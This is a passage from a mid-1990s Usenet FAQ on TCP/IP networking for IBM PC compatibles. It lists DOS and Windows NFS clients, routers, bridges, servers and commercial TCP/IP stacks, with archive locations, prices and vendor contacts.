Lan Manager) ftp:\/\/polyslo.calpoly.edu\/pub\/mdurkin\/nfs\/nfs0257n.zip ftp:\/\/ftp.cdrom.com\/.2\/SimTel\/msdos\/nfs\/nfs0257n.zip (MS-DOS NFS client for Novell LAN WorkPlace) ftp:\/\/polyslo.calpoly.edu\/pub\/mdurkin\/nfs\/nfs0257t.zip ftp:\/\/polyslo.calpoly.edu\/pub\/mdurkin\/nfs\/nfs0257t.zip (MS-DOS NFS client for Trumpet TCPDRV) ftp:\/\/polyslo.calpoly.edu\/pub\/mdurkin\/nfs\/nfs0257w.zip ftp:\/\/ftp.cdrom.com\/.2\/SimTel\/msdos\/nfs\/nfs0257w.zip (WATTCP MS-DOS NFS client) Mike Durkin, mailto:mdurkin@wiretap.spies.com *Downright speculation XFS and XFS-32 Shareware Educational license$15\nCommercial $25 This is another NFS client implementation for MS-DOS, by Robert Juhasz (mailto:robertj@lwfws1.uni-paderborn.de). It runs over packet drivers and includes a built-in PKTDRVR multiplexer so you can run other software concurrently. It is also possible run this under WFW using DIS_PKT, or Novell Netware using ODIPKT. XFS32 is a version for those running WFW and Microsoft TCP\/IP-32. A UNIX pcsnfsd is recommended, but not required. This version requires TCP\/IP-32 because the current Winsock API definition (v1.1) doesn't support some of the functionality that an NFS client needs. There are site license discounts. Requires a 286. Available as: ftp:\/\/ftp.cdrom.com\/.2\/SimTel\/msdos\/nfs\/xfs186.zip The 32-bit version is available as: ftp:\/\/ftp.cdrom.com\/.2\/SimTel\/msdos\/nfs\/xfs32-11.zip ftp:\/\/lwfws1.uni-paderborn.de\/pub\/xfs Xlink Technology, Inc.; 1546 Centre Pointe Dr., Milpitas, CA 95035, fax: (408)263-8203, mailto:info@xlink.com ROUTERS AND BRIDGES Recommendation KA9Q Educational Use Free Commercial Use$50\n\nKA9Q includes routing and packet filtering capabilities, along\nwith a variety of other client and server capabilities. See\nthe listing under Servers.\n\nSuggestion\nPCRoute v2.24 Free\n\nThis package can convert a PC into a TCP\/IP router. It doesn't\nrequire more than 1 Mb of memory, and works fine on an 8088,\nalthough faster machines are recommended. This is a fast and\nreliable router and recommended for routing between Ethernets.\n\nftp:\/\/ftp.acns.nwu.edu\/pub\/pcroute\/pcroute2.24.tar.Z (executables)\nftp:\/\/ftp.acns.nwu.edu\/pub\/pcroute\/p...2.24.src.tar.Z (source code)\n\nVance Morrison, LANport, Inc.; 2040 Polk Street #340,\nSan Francisco, CA 94109; (415)775-0188, mailto:lanport@cup.portal.com\n\nSuggestion\nPCBridge v2.77 Free\n\nOriginally by Vance Morrison of Northwestern, PCBridge has been taken\nPCBridge is now ROMable. The\nsoftware is available at ftp:\/\/pical3.iet.unipi.it\/pub\/bridge\/bdg277.tar.Z\n\nAlessandro Fanelli, Luigi Rizzo (mailto:luigi@iet.unipi.it),\nUniversita di Pisa - via Diotisalvi 2, 56126 Pisa, Italy ;\n+39-50-568533, fax: +39-50-568522\n\nDownright Speculation\nDrawbridge v2.0 (now in alpha test)\n\nDrawbridge is a bridging filter for the 386 that requires two ethernet cards.\nIt is comprised of three programs: Filter, Filter Compiler and Filter Manager.\n\nIt is available at\nftp:\/\/net.tamu.edu\/pub\/security\/TAMU...e-2.0a.tar.gz,\n\nDownright Speculation\nKarlBridge v1.41\n\nThis software, which uses WATTCP, provides a two port\nEthernet to Ethernet bridge that can filter based on any\nEthernet protocol, including IP, XNS, DECNET, LAT,\nEtherTalk, NetBEUI, Novell IPX, etc. It will also\nact as an IP firewall by filtering IP packets based on\nIP address\/network\/subnet combinations and socket numbers.\nIt can also filter DECNET and AppleTalk Phase 1 & 2 packets.\nIt now supports SNMP queries for remote management. Novell\nSAP and NCR WaveLAN filtering are coming in a future release.\n\nAvailable at ftp:\/\/128.146.1.7\/pub\/kbridge\/kbridge141.zip\nFor information: http:\/\/www.gbnet.net\/kbridge\/\ngopher:\/\/gopher.gbnet.net\/KarlBridge\/\nmailto:sales@gbnet.com (UK\/Europe)\nmailto:sales@KarlNet.com (US\/elsewhere)\n\nDOS SERVERS\n\nRecommendation\nKA9Q\nEducational Use Free\nCommercial Use $50 There are several versions of KA9Q, each with different capabilities. The current most capable versions are the ones put together by the folks at Demon Internet Services (DIS) in the UK, and the version put out by Ashok Aiyar at CWRU. CWRU Version 1.0b is based on the N1BEE 0.85-beta which in turn is based on PA0GRI 2.0m NOS, and includes support for NTP, CSO, Gopher, FTP, and SMTP\/POP2\/POP3 servers, plus VT102 and packet filtering support. Base code is by Ashok Aiyar, ashok@biochemistry.cwru.edu. The Textwin version from DIS does not include Gopher support, but does support Domain Name Service and can act as an NNTP server. KA9Q can route TCP\/IP packets over X.25, Ethernet, LocalTalk (with a special version), and serial lines (via SLIP\/CSLIP\/PPP). It supports connection to 56 Kbps leased lines via a CSU\/DSU and an SCC card, and supports up to 4 serial ports per machine. This means you can purchase a 56 Kbps Internet link, then divide it among 4 users, bringing the cost way down. KA9Q is a useful tool for sysops looking to hook their systems to the Internet, regardless of what kind of computer the BBS runs on. Available as: ftp:\/\/biochemistry.cwru.edu\/pub\/nos\/nos11c.exe, ftp:\/\/biochemistry.cwru.edu\/pub\/nos\/nos11c.txt, ftp:\/\/biochemistry.cwru.edu\/pub\/nos\/nos11c.map, ftp:\/\/biochemistry.cwru.edu\/pub\/nos\/nos192.txt, ftp:\/\/biochemistry.cwru.edu\/pub\/nos\/nos_1229.man, ftp:\/\/biochemistry.cwru.edu\/pub\/nos\/vt102.zip, ftp:\/\/biochemistry.cwru.edu\/pub\/nos\/filter.txt, ftp:\/\/biochemistry.cwru.edu\/pub\/nos\/autoexec.nos Alternative sites: ftp:\/\/ucsd.edu\/hamradio\/packet\/tcpip\/ka9q ftp:\/\/boombox.micro.umn.edu\/pub\/gopher\/PC_server\/ka9q A Macintosh port (NetMac) is available at ftp:\/\/sumex-aim.stanford.edu\/info-mac\/comm\/ Textwin (multiwindowing version with mouse support) package is available in three versions: large, small and tiny. The tiny package includes support for NNTP, SMTP and POP servers; the small version adds support for FTP servers; and the large version adds packet filtering, RIP and DNS support, and is the version that I tested the config files with. Available as: ftp:\/\/ftp.demon.co.uk\/pub\/ibmpc\/textwin. Contact: mailto:amc@beryl.demon.co.uk, mailto:amccarthy@cix.compulink.co.uk, mailto:100012.3712@compuserve.com Phil Karn, KA9Q; 7431 Teasdale Ave, San Diego, CA 92122; (619)587-8281, fax: (619)587-1825 Recommendation SLIPLOG and SLIPKIT SLIPLOG is a small (<6K) TSR that adds login and remote control features to any SLIP packet driver, allowing you to use KA9Q as a dialin SLIP server. All the programd you need are included in the SLIPKIT distribution, including the latest NOS version, CSLIPPER, PKTMUX, the NDIS3PKT.386 chim, WINPKT, SLIPLOG, COMTOOL, GETNEWS, KA9Q docs, and a manual. Assembly language source is also included. Features include: Cold booting on errors; login authentication, with time and date logging; can send a message file after connection, as well as the SLIP IP address; support for call-backs; on-demand dial; remote sysop capability; can run in DOS Virtual Machine under windows; can handle multiple lines on one machine. Available via: http:\/\/mvmpc9.ciw.uni-karlsruhe.de\/ ftp:\/\/mvmpc9.ciw.uni-karlsruhe.de\/go...c\/nos\/sliplog\/ ftp:\/\/biochemistry.cwru.edu\/gopher\/pub\/nos\/ http:\/\/inorganic5.chem.ufl.edu\/ ftp:\/\/inorganic5.chem.ufl.edu\/gopher...\/slip\/sliplog\/ If you have trouble accessing this with the ws-ftp client, set your servertype to ka9q. Karl-Heinz Weiss, University of Karlsruhe, (49)721-608-2418, (49)7244-1792, mailto:khweis@mvmpc9.ciw.uni-karlsruhe.de Downright Speculation NOSView v3.04 Written by Ian Wade, G3NRW, NOSView is online documentation for KA9Q, which describes all the NOS commands. It also contains a complete set of templates for use of KA9Q. Available at ftp:\/\/ucsd.edu\/hamradio\/packet\/tcpip...w\/nosvw304.zip Contact: Ian Wade, mailto:ian@g3nrw.demon.co.uk Downright Speculation Stan's Own Server Free SOS is based on the now-outdated PC-IP, and as a result is not used much anymore. However, there is no other publicly distributable NFS server package out there, so if you need one, you might as well try this. Available at ftp:\/\/sun.soe.clarkson.edu\/pub\/packet-drivers\/soss.zoo, sossread.me. Also available at ftp:\/\/spdcc.com\/pub\/sos\/soss.zoo, ftp:\/\/spdcc.com\/pub\/sos\/sossexe.zoo A version with a couple of bugs fixed is available at ftp:\/\/hilbert.wharton.upenn.edu\/pub\/tcpip\/soss.zip For info, contact: Richard Bruan, mailto:rbraun@spdcc.com, or Seemong Tan, mailto:stan@cs.uiuc.edu. Downright Speculation Hellsoft BOOTP and FTPD NLMs Available via ftp:\/\/novell.felk.cvut.cs\/pub\/nw311\/ftpd, ftp:\/\/novell.felk.cvut.cs\/pub\/nw311\/bootpd\/ ftp:\/\/novell.felk.cvut.cs\/pub\/nw311\/resolv\/ Downright Speculation Gopher NLM Available via: ftp:\/\/kmat1.fjfi.cvut.dz\/pub\/gopherd\/ ftp:\/\/ftp.pol.lublin.pl\/sys\/pub\/pc\/novell\/gopherd\/ Downright Speculation LPD Free FTP and BOOTP server included This software is a freeware line printer daemon as well as an FTP and BOOTP server. Available via ftp:\/\/tacky.cs.olemiss.edu\/pub\/lpd\/lpd.zip, ftp:\/\/tacky.cs.olemiss.edu\/pub\/lpd\/lpdsrc.zip Recommendation TELNETD Free TELNETD is a simple, free and unsupported TELNET server for PCs, by Erick Engelke. It works on top of packet drivers and lets you run most DOS software. However, it doesn't do everything; if you want a commercial-quality implementation, get Everywhere Access. Available at ftp:\/\/ftp-ns.rutgers.edu\/pub\/msdos\/wattcp\/telnetd.zip Recommendation COMD Free COMD by Erick Engelke allows you to share serial port devices, including printers and modems with another TCP\/IP connected computer. Available at ftp:\/\/ftp-ns.rutgers.edu\/pub\/msdos\/wattcp\/comd.zip Downright Speculation SMTP server free An SMTP server for DOS. Available at: ftp:\/\/ftp-ns.rutgers.edu\/pub\/msdos\/wattcp\/smtpserv.zip ------------------------------ END OF PART 4 ------------------------ Please send comments to: Bernard Aboba Author of: The Online User's Encyclopedia, Addison-Wesley, 1994 The PC-Internet Connection, Publisher's Group West, due in 1995 mailto:aboba@netcom.com FTP archive: ftp:\/\/ftp.zilker.net\/pub\/mailcom\/ WWW page: http:\/\/www.zilker.net\/users\/internaut\/index.html From: aboba@netcom.com (Bernard Aboba) Subject: comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ), part 5 of 5 Expires: Fri, 12 May 1995 00:00:00 GMT Followup-To: poster Keywords: TCP\/IP, IBM PC, SLIP, PPP, NDIS, ODI Organization: MailCom Reply-To: aboba@netcom.com Newsgroups: comp.protocols.tcp-ip.ibmpc,comp.protocols.tcp-ip,alt.winsock,comp.os.ms-windows.networking.tcp-ip,alt.answers,comp.answers,news.answers Approved: news-answers-request@MIT.Edu Summary: Frequently Asked Questions (and answers) about TCP\/IP on PC-Compatible Computers Archive-name: ibmpc-tcp-ip-faq\/part5 comp.protocols.tcp-ip.ibmpc: FAQ Posting, part 5, 4\/1\/95 COMMERCIAL PRODUCTS Downright speculation TCP\/IP BOOT-PROM The TCP\/IP BOOT-PROM is a TCP\/IP based Boot ROM available for about 34 Ethernet and Token Ring PC network controllers. It uses the protocols BOOTP and TFTP to download the DOS operating system and network software from a TCP\/IP based servers like UNIX, NetWare, OS\/2 or Windows NT. Several network software like PC-NFS, PC\/TCP, PC-Interface, B&W NFS, LAN WorkPlace, NetWare, NetWare\/IP, LanManager, TUN and other are supported on the diskless client site. The builtin application interface allows to access the ROMs TCP\/IP stack for building low cost terminals or downloading other operating systems e.g. UnixWare. Dirk Koeppen EDV-Beratungs-GmbH, Germany Phone: +49 69 89 3000, Fax: +49 69 89 3004, mailto:dirk@incom.de Downright Speculation 3Com TCP w\/ DPA v2.0 3Com; (800)638-3266 Recommendation Internet in a Box$99\n\nAfter much fanfare, Internet in a Box has finally shipped. This\nincludes a special version of Ed Krol's book, alongside a suite\nwith Gopher, Mosaic, Telnet, Mail, and News. The installation\nprocedure is quite streamlined in that it sets up all the stack\nas well as all the applications in one fell swoop. The PPP\n\nSpry Inc.; 316 Occidental Avenue South, Seattle, WA 98104; (206)447-0300,\n(800)777-9638, ext. 44, fax: (206)447-9008, mailto:sales@spry.com,\nmailto:info@spry.com\n\nDownright Speculation\nAIR Series 3.0\n50% discount on tradein of another package\nAIR Mosaic $29.95 This includes Telnet, FTP (integrated with File Manager), tn3270, NFS, Mosaic, SMTP, News, Gopher, and FTP\/RCP servers, LPR, LPD, ImageView, UUCode, X-Windows, SNMP, PPP, NetBIOS support, on-demand dial. A demo version of AIR Mosaic is available via: ftp:\/\/ftp.spry.com\/vendor\/spry\/demo\/...o\/amosdemo.exe Spry Inc.; 316 Occidental Avenue South, Seattle, WA 98104; (206)447-0300, (800)777-9638, ext. 44, fax: (206)447-9008, mailto:sales@spry.com, mailto:info@spry.com Downright Speculation Teemtalk for DOS Teemtalk for Windows Teemtalk supports connections over ARPA Services 2.0+ (HP), Beame & Whiteside, CTerm (DEC), Int-6B (Novell NASI), Int-14, MS LanManager, Lan Workplace, LAT, NetBIOS, Netmanage Chameleon, OSLAN (ICL), Pathway, PC-NFS, PCTCP, TELAPI (Novell), and also support Windows Sockets, and regular or BIOS level serial connections. Emulations include VT 52\/100\/220\/240\/320\/340\/640, Viewdata 40\/80\/Split, DG200, HP2392A, Tek4014, Regis and W2119. Protocol support Kermit and Xmodem. It also supports DDE. Pericom, 1-609-895-0404 (US) and 0908-265533 in the UK. *Suggestion BW-NFS v3.1 for DOS & Windows NFS is implemented as a TSR; the TCP stack is a device driver. The package supports SLIP, NFS client, Telnet (VT220 and 3270 emulation), finger, talk, ftp, and SMTP mail. It also can act as a server for telnet, FTP, NFS, finger, and lpd. The 3270 emulation is reportedly OK. The BW-Connect ftp client supports dragging and droppping of files between the server and client. This product cannot handle both a SLIP\/PPP and a network adapter interface simultaneously, since the stack does not route. Beame & Whiteside Software Inc.; 706 Hillsborough St., Raleigh, NC 27603-1655 (919)831-8989, (800)463=6637, tech: (919)831-8975, fax: (919)831-8990, mailto:sales@bws.com Suggestion Chameleon v4.01 Internet Chameleon ChameleonNFS v4.01$400\nChameleonNFS v4.01 for NT\n\nChameleon is a Windows 3.x TCP\/IP implementation that can handle FTP, TFTP,\nTelnet (3270, 5250, ANSI, VT-52, VT100 and VT220 emulation), ping, SMTP, POP2,\nNNTP and NFS (client and server) all in multiple windows, simultaneously. The\npackage also supports DNS via an implementation of BIND, as well as SNMP.\nChameleonNFS is compatible with the IPX\/Link product for Netware from\nNetManage. Most of the code resides in a DLL. Chameleon supports multiple\ninterfaces, and can route between them. It also supports SLIP, CSLIP, and PPP,\nand has a built-in SNMP agent. The Internet Chameleon package only supports\ndialup IP; for network adapter support, you need to purchase Chameleon.\n\nNetManage, Inc.; 10725 North De Anza Blvd, Cupertino, CA 95014,\n(408)973-7171, fax: (408)257-6405, mailto:support@netmanage.com\n\nDownright speculation\nDistinct Network Applications v3.02 $395 Distinct Software Development Kit$495\nNetwork & Developer Combination $695 Distinct TCP\/IP for Windows - Network Applications v3 integrates several Windows based TCP\/IP utilities under a single interface. These include: Distinct Telnet which allows multiple concurrent Telnet sessions on different remote hosts, allowing you to cut and paste information between these systems as well as between the systems and your local host. Distinct FTP is a drag and drop FTP which allows you to drag a local or remote file to a local printer. Distinct FTP has both a client and a server; this means that files can be also transferred by selected users from PC to PC (password protection is included). TFTP provides file transfer services to communications servers and routers that do not have FTP. Network Monitor monitors host-to-host communication and data transmission traffic and is able to capture network traffic to a file. Distinct TCP\/IP for Windows - Software Development Kit This product is engineered as 100% DLL, and requires only 4 Kb DOS memory for a driver. The product supports up to 64 concurrent sockets, and buffers are allocated and deallocated as they open and close. Includes three development kits: Distinct TCP\/IP for Windows - Berkeley-style Sockets (TCP, UDP, ICMP, Telnet, FTP) Distinct TCP\/IP for Windows - Windows Sockets ver. 1.1 Distinct RPC - a complete ONC RPC\/XDR toolkit for Windows (Client and Server RPC over both TCP and UDP; includes RPCGEN) Distinct Corporation;14395 Saratoga Avenue, Suite 120, Saratoga, CA 95070; (408)741-0781, fax: (408)741-0795, mailto:chris@distinct.com Distinct Corporation; P.O. Box 3410, Saratoga, CA 95070-1410; (408)741-0781, mailto:mktg@distinct.com Suggestion Everywhere Access This is a remote access package for TCP\/IP, including support for telnet server, FTP and Kermit transfers, VT100, VT220, VT300 emulation, password security. Includes versions working with WATTCP as well as other implementations. Supro Network Software Inc.; P.O. Box 18, Warsaw, Ontario, Canada K0L-3A0; (705) 652-1572, mailto:info@snsi.com Downright Speculation Fusion Pacific Software; (800)541-9508 Downright Speculation ICE\/TCP James River Group; 125 North First St., Minneapolis, MN 55401; (612)339-2521, mailto:jriver@jriver.com Downright Speculation Lanera TCPOpen\/Standard v2.2 Lanera Corporation; 516 Valley Way, Milpitas CA 95035; (408)956-8344, mailto:lanera@netcom.com Downright Speculation Lantastic for TCP\/IP Artisoft, Inc.; 691 East River Road, Tucson, AZ 85704; (602)293-6363 Suggestion LAN Workplace for DOS v4.1r8 Novell, Inc.; 122 East 1700 South, Provo, UT 84606; (800)772-UNIX Downright Speculation NS & ARPA Services v2.5 Hewlett-Packard; 19420 Homestead Rd., Cupertino, CA 94014; (408)725-8111 Recommendation The Wollongong Group's PathWay Access A family of complete IP Services for DOS\/Windows, Macintosh, OS\/2, and VMS systems, as well as SNMP and X-400\/X-500 products. Wollongong has been providing IP solutions for over 14 years. PathWay Access for DOS\/Windows 3.0 - This product has been significantly enhanced with the majority of changes being to the Windows applications, emulations and remote access. Integrated into Windows, the applications are Windows Sockets compatible. Support for all NOS, extensive DBMS and third party support. VT100-220, VT320-330, VT240-340, 3270 mods 2-5, 3179g, tek4010-4105, drag & drop FTP client\/server, LPR\/LPD\/IPR, NetBIOS, NDIS\/ODI\/PDS\/ASI, SLIP\/CSLIP\/PPP\/X.25, MIB2 SNMP agent, Scripting, Graphical Remapping, NFS, SMTP\/IMAP\/POP(MIME), NetNews reader. Pricing: Many different pricing schemes exist for these products based on customer requirements, from shrink-wrap bundles to expandable licenses that can be added to in any number, with discounts based on accrued amount levels. Aggressive educational discounts and trade-up pricing are offered. PathWay Access (Single User-DOS\/Windows or Mac) -$350\nClient NFS module - $95 API -$200\n\nTechnically supported evaluations are provided free of charge to qualified\nindividuals. Also offered is a demonstration disk tour of PathWay Access 3.0\nfree and yours to keep.\n\nThe Wollongong Group; 1129 San Antonio Rd, Palo Alto, CA 94301;\n800-872-8649 (Outside Cal), 800-962-8649 (In Cal), (519)747-9900\n(415)962-7202, mailto:sales@twg.com\n\n*Downright Speculation\nJSB Multiview 4.01\n\nJSB; 108 Whispering Pines Dr., Suite 115, Scotts Valley, CA 95066;\n(408)438-8300\n\n*Downright Speculation\nReflection TCP Suite 4.0\n\nReflection TCP includes ftp (client and server), lpr, and telnet. The\nstack supports an SNMP agent.\n\nWalker, Richer and Quinn; 1500 Dexter Ave. N., Seattle, WA 98109; (206)217-7500\n\n*Downright Speculation\nLAN Workgroup\/NFS 4.2\n\nThis is the package to get if you're running NetWare. Includes support for\nNFS (client), BOOTP (client and server), lpr\/lpd, telnet, and NIS.\n\nNovell; 122 E. 1700 S., Provo, Utah, 84606; (800)638-9273\n\nDownright Speculation\nPC-Interface Plus 2.0\n\nPC-Interface Plus includes an ftp client reminiscent of the Windows File\nManager, a TinyTerm telnet client; and a repackaged version of Eudora for mail.\n\nLocus Computing; 9800 La Cienega Blvd., Inglewood, CA 90301; (310)670-6500\n\nDownright Speculation\n\nX LINK Technology; 741 Ames Avenue, Milpitas CA 95035; (408)263-8201, fax:\n\nDownright Speculation\nTCP Pro\n\nTCP Pro is a TCP\/IP stack for Windows, Windows for Workgroups,\nDOS, OS\/2, and NT. The base package includes both Real Mode\nand VxD version of the stack as well as support for WinSock 1.1, NetBIOS,\nextended NetBIOS, NETCI (INT6B), and INT61 (FTP Software, Inc.) interfaces.\n\nThe stack also includes native NDIS and ODI drivers (not shims) and a\nsuite of appliations, including Telnet, Ping, FTP Client (Drag and Drop),\nFTP Server, TFTP Server, and a News Reader. They also offer a VxD\nRemote Access solution which includes a PPP\/SLIP module and a Windows dialer.\nSNMP MIB 2 and a DHCP client are also included. E-mail and a Web browser are\ndue in release v1.1, which will ship in December, 1994.\n\nSteve Perricone, Network Telesystems; 3990 Freedom Circle, Santa Clara, CA 95054;\n(408)562-7766, mailto:sperrico@ub.com\n\n*Suggestion\nPC-NFS v5.1 $395 PC-NFS from SunSoft (a Sun Microsystems business) includes a TCP\/IP stack, TCP\/IP utilities under DOS and Windows, an NFS client, remote printing support, SNMP, and Windows Sockets. Add-on packages support email and advanced telnet. A Programmer's Toolkit is available which provides DOS and Windows support for TCP\/IP over sockets and XTI, as well as TIRPC, NIS and supporting APIs. SunSoft; 2 Elizabeth Dr., Chelmsford, AM 01824; (508)442-0271 Also: 2550 Garcia Avenue, Mountain View, CA 94043; 1-800-SUNSOFT (USA), +44-494-472900 (N. Europe), +49-89-46008-551 (Central Europe), +33-1-3067-5477 (S. Europe), +81-3-5717-5017 (Japan) *Suggestion PC-NFSpro v1.1$395\n\nPC-NFSpro from SunSoft (a Sun Microsystems business) is a Windows-only\n32-bit VxD product. It includes a TCP\/IP stack, PPP, NetBIOS, and NFS\nclient (all VxDs), remote printing, SNMP, and Windows Sockets. Bundled\napplications include VT320 telnet, email, FTP, and RSH\/REXEC. Servers\nare provided for print, FTP and telnet. DHCP and BOOTP are supported.\nDriver support includes NDIS2, NDIS3, ODI, and packet drivers. Add-on\npackages include 3270 and X Windows. On-line documentation is provided\non CD-ROM.\n\nSunSoft; 2 Elizabeth Dr., Chelmsford, AM 01824; (508)442-0271\nAlso: 2550 Garcia Avenue, Mountain View, CA 94043; 1-800-SUNSOFT (USA),\n+44-494-472900 (N. Europe), +49-89-46008-551 (Central Europe),\n+33-1-3067-5477 (S. Europe), +81-3-5717-5017 (Japan)\n\nRecommendation\nPC\/TCP v2.2 $350 Kernel Only$200\n\nPC\/TCP v2.2 offers a solid implementation of TCP\/IP for DOS, with some\nWindows applications. It includes NFS for UDP or TCP, remote login\n(telnet, rlogin, supdup) with a variety of terminal emulators, file\ntransfer (FTP, TFTP, rcp), electronic mail and news (pop2, pop3, pcmail,\nmail, SMTP, NNTP), printing (LPR and print redirection) and informational\nutilities (whois, ping, finger, host). Some kerberos support is available\nto domestic customers. If used alongside ConcordCommunications Mapware\ncontrollers, this product is capable of handling both OSI and TCP\/IP\nconcurrently. 3270 support is OK.\n\nIt is available for Ethernet (DIX or 802.3), Token Ring, SLIP, PPP,\nLocalTalk and X.25 interfaces, over packet drivers, ODI drivers, NDIS\ndrivers, banyan drivers, and ASI drivers.\n\nThis package does not route; you are therefore restricted to installing it\nwith PPP, SLIP or Ethernet, but not some combination of the above.\n\nPC\/TCP is incompatible with Stacker. As of version 2.2, the Windows\napplications have been improved. New to Windows support is the ability to\nmount and unmount NFS drives from within Windows, and to use PCNFSD printer\nservices from Windows.\n\nThe 2.2 manual includes a 6-page install guidelette, and now offers a\n\nFTP Software, Inc.; 100 Brickstone Sq., Fifth Floor, Andover, MA 01810;\n(508)685-4000, (800)282-4387, Support: (800)382-4ftp, fax: (508)659-6104,\nmailto:sales@ftp.com, http:\/\/www.ftp.com\/\n\n*Suggestion\nPC\/TCP OnNet 1.1 for DOS\/Windows $350 PC\/TCP OnNet 1.1 for DOS\/Windows$450 (with PC\/TCP)\n\nThis is a graphical package from FTP Software with a VxD TCP\/IP\nstack. It includes clients for FTP, Telnet, NFS, news, mail, finger,\nDHCP, BOOTP, NetBIOS, SNMP, tar and lpr as well as an FTP server, Kerberos\nsupport and support for packet or ODI drivers. The OnNet ftp client\nsupports dragging and dropping files between hosts.\n\nThere is a bug in the telnet vt-100\/220\nemulation which is fixable via ftp'ing a new version.\n\nFeatures of the software (from Graham Kenville, mailto:graham@mitta.com ):\n1. Provides a nice GUI based way to configure printers and drive\nattachment which is pretty easy to use. Makes it possible\nto automatically mount whatever drives you usually mount\neach time you start Windows. You can provide a default user\nname. You only have to enter the password once per session\nto mount all drives.\n2. You can set up any PC running PC-TCP\/OnNet to be a print server\nfor PC's and Unix. The icon and setup for this is all there,\nbut I haven't tried it yet.\n3. The telnet is pretty good, provides VT-100\/200 & DEC character\nsupport. Allows you to print screen, save scroll-back buffer\nto disk or print it, you can set the number of scroll-back lines\nup to (I think) 3000.\n4. Provides a ping\/traceroute utility which works ok.\n\nFTP Software, Inc.; 100 Brickstone Sq., Fifth Floor, Andover, MA 01810;\n(508)685-4000, (800)282-4387, Support: (800)382-4ftp, fax: (508)659-6104,\nmailto:sales@ftp.com, http:\/\/www.ftp.com\/\n\n*Downright Speculation\nAcadia\/VxD v1.0 ($256\/user 10 user price,$395 single user)\n\nAcadia\/VxD consists of the TCP, IP, and UDP protocols and a set of Windows\nand DOS utilities including FTP, telnet, SMTP, and POP3 client and server\nmail with MIME support, TN3270, Winsock interface, NFS client and server, and\nNetBIOS. Acadia\/VxD uses _no_ conventional memory and provides data transfer\nrates exceeding 600 Kbytes\/Sec. Services such as NFS and lpd are started from\nDOS. The ftp client does not support dragging and dropping between hosts, and\nthe Telnet application is licensed from Sun and is therefore part of PC-NFSpro.\n\nIpswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,\nfax:(617)245-2975, mailto:info@ipswitch.com, http:\/\/directory.net\/ipswitch\/\n\n*Downright Speculation\nPiper\/IP ($199\/user 10 user price,$375 single user)\n\nPiper\/IP is a complete TCP\/IP suite of DOS and Windows applications. Piper\/IP\nruns in only 6K of memory, and provides exceptional performance with data\ntransfers exceeding 500 Kbytes per second. Piper\/IP is network installable,\nwith a network install taking about 5 minutes total time. Piper\/IP supports\nall popular network drivers and operates with ODI, NDIS, VINES and Packet\nDrivers, and has built in support for SLIP and PPP.\n\nIpswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,\nfax:(617)245-2975, mailto:info@ipswitch.com, http:\/\/directory.net\/ipswitch\/\n\n*Downright Speculation\nDeveloper's Kit ($475) The Ipswitch Developer's Kit for Acadia\/VxD, Catipult, Piper\/IP, and Vantage\/IP consists of Ipswitch's tools for developing 16- and 32-bit Berkeley Sockets-based applications. The Ipswitch Developer's Kit is compatible with Microsoft C 5.1, C 6.0, C\/C++ 7.0, Visual C 1.5, 2.0, and Borland C\/C++ 3.1 and 4.0. Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150, fax:(617)245-2975, mailto:info@ipswitch.com, http:\/\/directory.net\/ipswitch\/ *Downright Speculation Catipult (30 user gateway license$2975)\n\nCatipult is a TCP\/IP application gateway for NetWare. Catipult lets NetWare\nworkstations run TCP\/IP applications concurrently with NetWare to communicate\nwith workstations, mini computers mainframes and other hosts running UNIX or\nany of a wide variety of operating systems.\n\nIpswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,\nfax:(617)245-2975, mailto:info@ipswitch.com, http:\/\/directory.net\/ipswitch\/\n\n*Downright Speculation\nVantage\/IP ($256\/user 10 user price,$395 single user)\n\nVantage\/IP provides TCP\/IP connectivity for OS\/2 workstations with complete\nOS\/2 LAN integration and support for all popular APIs.\n\nIpswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,\nfax:(617)245-2975, mailto:info@ipswitch.com, http:\/\/directory.net\/ipswitch\/\n\nIMail, INews, and WFTP, which ship with Acadia\/Vxd and Piper\/IP are also\navailable as separate products.\n\n*Downright Speculation\nIMail ($41.25 from the web site,$55 otherwise)\n\nIMail is a complete TCP\/IP mail system for Windows. Both SMTP and POP3\nclients and servers are included. IMail has multiple mailboxes, powerful\nfiltering, and search capabilities, MIME support, file import\/export, plus\npersonal and shared address books and aliases. IMail has an intuitive,\npowerful interface that makes it easy to read, write, maintain, and archive\nmessages. IMail is compatible with any Winsock 1.1-compliant TCP\/IP product.\n\nIpswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,\nfax:(617)245-2975, mailto:info@ipswitch.com, http:\/\/directory.net\/ipswitch\/\n\n*Recommendation\nWFTP ($38\/user 10 users,$45 single user)\n\nWFTP is a Windows FTP client with drag and drop file transfer, intuitive\ndirectory and file displays, firewall protection, and support for more than\ntwenty types of remote file systems. WFTP is compatible with any Winsock\n1.1-compliant TCP\/IP product.\n\nIpswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,\nfax:(617)245-2975, mailto:info@ipswitch.com, http:\/\/directory.net\/ipswitch\/\n\n*Downright Speculation\nSuperTCP v3.00r $495 SuperTCP Pro v1.1 SuperHighway Access for Windows SuperTCP supports telnet (3270, VT100, VT102, and VT220 emulation), talk, SMTP, ftp, and ping. SuperTCP supports both TCP\/IP and Novell IPX protocols, as well as SNMP. It is written as a DLL, although a TSR version of the protocol stack is also available for those who want to use DOS as well. Network statistics (arp, ICMP messages, etc.) are available. The WinTapestry application is a single application supporting WWW, Gopher+, CSO, Archie, WAIS, GIF and JPEG image viewers, in addition to an Internet Organizer. WinTapestry offers multi-session support. The mail application supports MIME, personal and shared address book, prioritization of messages, sorting by date or subject, hierarchical folders, rule-based message filtering and offline creation or reading of mail. It also supports distribution lists, and automatic forwarding. The FTP application supports drag and drop transfers. The Telnet application supports VT100 emulation. There is also an NNTP newsreader. SuperTCP Pro includes clients and servers for NFS, telnet, lpr\/lpd and FTP as well as an X server. The package comes with both a CD-ROM and floppy disks. Simultaneous use of SLIP\/PPP and network adapter interfaces is supported. SuperHighway Access for Windows is a dialup version of the Super-TCP package. It supports SLIP\/CSLIP\/PPP and is compatible with Windows Sockets v1.1. it includes scripts for Internet Service Providers. Frontier Technologies;10201 North Port Washington Road, Mequon, WI 53092, (414)241-4555, fax:(414)241-7084, mailto:info@frontiertech.com, ftp:\/\/ftp.FrontierTech.COM\/, 